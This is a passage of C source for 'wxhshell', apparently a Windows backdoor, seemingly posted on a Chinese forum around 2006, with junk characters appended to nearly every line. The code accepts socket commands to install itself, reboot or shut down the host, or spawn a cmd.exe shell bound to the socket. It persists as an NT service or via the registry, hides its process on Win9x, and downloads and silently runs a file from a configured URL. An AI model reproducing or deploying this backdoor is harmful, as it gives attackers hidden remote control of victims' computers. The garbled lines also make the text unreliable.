  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,xR^8G 8  
  } `NGCUGQ_7  
  else { #z5'5|3  
{AcKBi b  
    switch(cmd[0]) { q=R=z$yr  
  :b.#h7Qt<  
  // 帮助 <p<gx*%  
  case '?': { z?yADYr9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G=b`w;oL:  
    break; Rf8|-G-}#  
  } H5qa7JMZ  
  // 安装 _ -?)-L&g  
  case 'i': { IWMqmCbv  
    if(Install()) 4}NFa; M1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O^e !<bBd  
    else Q2tGe~H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A\:=p  
    break; h~nl  
    } .Q?AzU,2D  
  // 卸载 +$v$P!),  
  case 'r': { 4y P $l  
    if(Uninstall()) !Ug J^v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$B5sKQ  
    else }}Q|O]e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jh=:QP/  
    break; 1nvs51?H  
    } 6*]Kow?  
  // 显示 wxhshell 所在路径 $?'z%a{  
  case 'p': { ^ S%4R'  
    char svExeFile[MAX_PATH]; s2d;601*b  
    strcpy(svExeFile,"\n\r"); 9@:&E  
      strcat(svExeFile,ExeFile); uQ&xoDCB  
        send(wsh,svExeFile,strlen(svExeFile),0); 4q~l ?*S  
    break; %K/rPhU  
    } -R:1-0I$  
  // 重启 KH@M & >=^  
  case 'b': { 0"<g g5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n#x{~oQc  
    if(Boot(REBOOT)) 3[8'pQ!&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #" f:m`  
    else { OS \co :  
    closesocket(wsh); %VwB ?  
    ExitThread(0); 6}|/~n  
    } lffw7T~  
    break; Pp26UWW  
    } !H.&"~w@  
  // 关机 IOfo]p-  
  case 'd': { ~v<r\8`OI2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r_R|.fl<[  
    if(Boot(SHUTDOWN)) Nf$Y-v?i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tfdP#1E  
    else {  -EITz  
    closesocket(wsh); .$?s :t  
    ExitThread(0); *D|6g| Hb  
    } h`5au<h<  
    break; Q_@ Z.{  
    } ~ae68&L6  
  // 获取shell GR|Vwxs<@P  
  case 's': { p 6jR,m8S  
    CmdShell(wsh); i:W oT4  
    closesocket(wsh); YF."D%?  
    ExitThread(0); K=!J=R;  
    break; =3& WH0  
  } w8@ Ok_fj  
  // 退出 wV U(Du  
  case 'x': { g fO.Ky6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U); ,Opr  
    CloseIt(wsh); N|Rlb5\  
    break; d)dIIzv  
    } b z<wihZj  
  // 离开 xu_Tocvop  
  case 'q': { "qwRcuHY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iRPd=)  
    closesocket(wsh); Ij4\*D!  
    WSACleanup(); ( XE`,#  
    exit(1); ~A"ODLgU9  
    break; tCA |sN  
        } )V9$ P)  
  } 5*4P_q(AxD  
  } TmO\!`  
T0aK1Lh  
  // 提示信息  ~LkReQI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r^Gl~sX  
} lW7kBCsz#  
  } {uw'7 d/  
bZ%[ON5OY  
  return; NB16O !r  
} q9!5J2P  
I80.|KIv  
// shell模块句柄 |F6C&GNYT  
int CmdShell(SOCKET sock) a@m>S$S  
{ /T_tI R>  
STARTUPINFO si; X'iki4  
ZeroMemory(&si,sizeof(si)); r:YAn^Lg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W.H_G.C%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YBg\L$| n  
PROCESS_INFORMATION ProcessInfo; ^hZwm8G  
char cmdline[]="cmd"; KWXJ[#E<W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GDOaZi  
  return 0;  %_A1WC  
} !fz`O>-mZ  
oYOf<J  
// 自身启动模式 %s<7|,  
int StartFromService(void) E%+V\ W%  
{ `[Lap=.' .  
typedef struct ym1TGeFAq  
{ v "oO  
  DWORD ExitStatus; J!S3pS5j  
  DWORD PebBaseAddress; ~r|.GY  
  DWORD AffinityMask; )(?s=<H  
  DWORD BasePriority; ]=h Ts%]w  
  ULONG UniqueProcessId; A6#ob  
  ULONG InheritedFromUniqueProcessId; }V9146  
}   PROCESS_BASIC_INFORMATION; c*6o{x}K  
@|5B  
PROCNTQSIP NtQueryInformationProcess; yhUc]6`V.H  
IK}T. *[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =m-_0xo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m,=$a\UC  
yP[GU| >(  
  HANDLE             hProcess; (U-p&q>z  
  PROCESS_BASIC_INFORMATION pbi; R_Eu*Qu j  
zSkM8LM2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z.[L1AGa|s  
  if(NULL == hInst ) return 0; wX|]8f2Z  
M: `FZ}&L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9>zN 27  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t7-sCC0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z*x6V0'yt  
j*+r`CX  
  if (!NtQueryInformationProcess) return 0; '}XW  
c*\^6 1T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yv'mV=BMJ!  
  if(!hProcess) return 0; k&^Megcb  
$ar:5kif  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6"%[s@C  
'^P Ud`  
  CloseHandle(hProcess); >A1Yn]k  
L.|GC7$0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =OjzBiHR  
if(hProcess==NULL) return 0; s?_b[B d  
6`+DBr  
HMODULE hMod; #0^Q UOp  
char procName[255]; R o%S_!  
unsigned long cbNeeded; ]qpcA6%a|  
;tKL/eI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  W#??fae  
3b PVKsY  
  CloseHandle(hProcess); }Efp{E  
O4-UVxv}  
if(strstr(procName,"services")) return 1; // 以服务启动 {5_*f)$[H  
-j<UhW  
  return 0; // 注册表启动 hO(HwG?8t  
} [ BN2c  
<{cPa\  
// 主模块 |,yS>kjp  
int StartWxhshell(LPSTR lpCmdLine) IkkJ4G  
{ blp)a  
  SOCKET wsl; 9jvg[ H  
BOOL val=TRUE; /M'b137  
  int port=0; XK&#K? M  
  struct sockaddr_in door; >EMCG.**  
%:oGyV7a  
  if(wscfg.ws_autoins) Install(); BkO"{  
h]'fX  
port=atoi(lpCmdLine); v4Nb/Y  
dxASU|Yo9  
if(port<=0) port=wscfg.ws_port; TyK; q{  
6J=~*&  
  WSADATA data; fA+M/}=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j*6!7u.,K  
R 6M@pO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]|732Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gi"v$ {R  
  door.sin_family = AF_INET; 4CN8>J'-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zu;Yw=cM)  
  door.sin_port = htons(port); ^_<pc|1  
/>n0&~k[h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,*C^ixNE  
closesocket(wsl); M{(Y|3W  
return 1; |\}f)Xp-  
} 1L$u8P^<  
}f({03$  
  if(listen(wsl,2) == INVALID_SOCKET) { tG#F7%+E  
closesocket(wsl); bF flA  
return 1; {8"W  
} :ss9-  
  Wxhshell(wsl); [hFyu|I !  
  WSACleanup(); 7IIM8/BI  
:F<a~_k  
return 0; =,?@p{g}  
)}6:Ke)  
} bxyU[`  
ME |"pJ  
// 以NT服务方式启动 tPp }/a%D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +osY iP5  
{ '.^JN@  
DWORD   status = 0; Fx.uPY.a  
  DWORD   specificError = 0xfffffff; Q!|71{5U  
/ Sp+MB9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pkM32v-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !BQ!] u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;eA~z"g  
  serviceStatus.dwWin32ExitCode     = 0; S)[2\Z{**T  
  serviceStatus.dwServiceSpecificExitCode = 0; Xt~/8)&  
  serviceStatus.dwCheckPoint       = 0; S[ 2`7'XV  
  serviceStatus.dwWaitHint       = 0; Ads^y`b  
W``e6RX-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ")o.x7~N  
  if (hServiceStatusHandle==0) return; $iF7hyZ  
9r)5d&,6  
status = GetLastError(); |]B]0J#_  
  if (status!=NO_ERROR) $~9U-B\  
{ ( NiuAy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oYqC"g&4Z  
    serviceStatus.dwCheckPoint       = 0; m<076O4|`  
    serviceStatus.dwWaitHint       = 0; hA~}6Qn  
    serviceStatus.dwWin32ExitCode     = status; .t}nznh  
    serviceStatus.dwServiceSpecificExitCode = specificError; UbuxD})  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G-:DMjvN  
    return; =+"XV8Fi,  
  } ](0A/,#q6  
S@*@*>s^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ll5Kd=3  
  serviceStatus.dwCheckPoint       = 0; hpw;w}m  
  serviceStatus.dwWaitHint       = 0; Gge"`AT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uz62!)  
}  $hN!DHz  
, D&FCs%v  
// 处理NT服务事件,比如:启动、停止 nF//y}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =RV$8.Xp  
{ @lBH@HR=C  
switch(fdwControl) F 'h[g.\}  
{ t>b^S,  
case SERVICE_CONTROL_STOP: {`}RYfZ  
  serviceStatus.dwWin32ExitCode = 0; 0 Q1}u@G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DSIa3! 0  
  serviceStatus.dwCheckPoint   = 0; {wMCo ,  
  serviceStatus.dwWaitHint     = 0; \KPz  
  {  T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sa@Xh,y Z  
  } \[8I5w-  
  return; %8$wod6  
case SERVICE_CONTROL_PAUSE: pFG~XW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |Rab'9U^  
  break; ]9x30UXLwD  
case SERVICE_CONTROL_CONTINUE: Nls|R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L Xx 3  
  break; !}vz_6)  
case SERVICE_CONTROL_INTERROGATE: 4b<:67 %  
  break; b0&dpMgh:  
}; ?}Mv5SO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oZzE.Q1T  
} xAoozDj  
t qER;L  
// 标准应用程序主函数 2Hq!YsJ4]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c(eu[vj:  
{ ricDP 9#a  
VX- f~  
// 获取操作系统版本 0_Y;r{3m"  
OsIsNt=GetOsVer(); _mn4z+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jUfc&bi3  
z3$PrK%  
  // 从命令行安装 EoY570PN  
  if(strpbrk(lpCmdLine,"iI")) Install(); T&{EqsI=B  
 M,6AD]  
  // 下载执行文件 $AX!L+<!  
if(wscfg.ws_downexe) { u4Xrvfb,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZBnf?fU  
  WinExec(wscfg.ws_filenam,SW_HIDE); [qb#>P2G3  
} 2R1W[,Ga!  
+-{H T+W  
if(!OsIsNt) { K3@UoR  
// 如果时win9x,隐藏进程并且设置为注册表启动 lw Kr$X4  
HideProc(); ME7JU|@Z  
StartWxhshell(lpCmdLine); =6%0pu]0  
} Eu0 _/{:  
else PVvG  
  if(StartFromService()) &-{4JSII  
  // 以服务方式启动 <ZnAPh  
  StartServiceCtrlDispatcher(DispatchTable); t<`BaU  
else ?HBc7$nW  
  // 普通方式启动 aFbA=6  
  StartWxhshell(lpCmdLine); GCIm_ n  
fa6L+wt4O  
return 0; N8!B2uPQ  
}
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只看该作者 1 发表于: 2006-10-10
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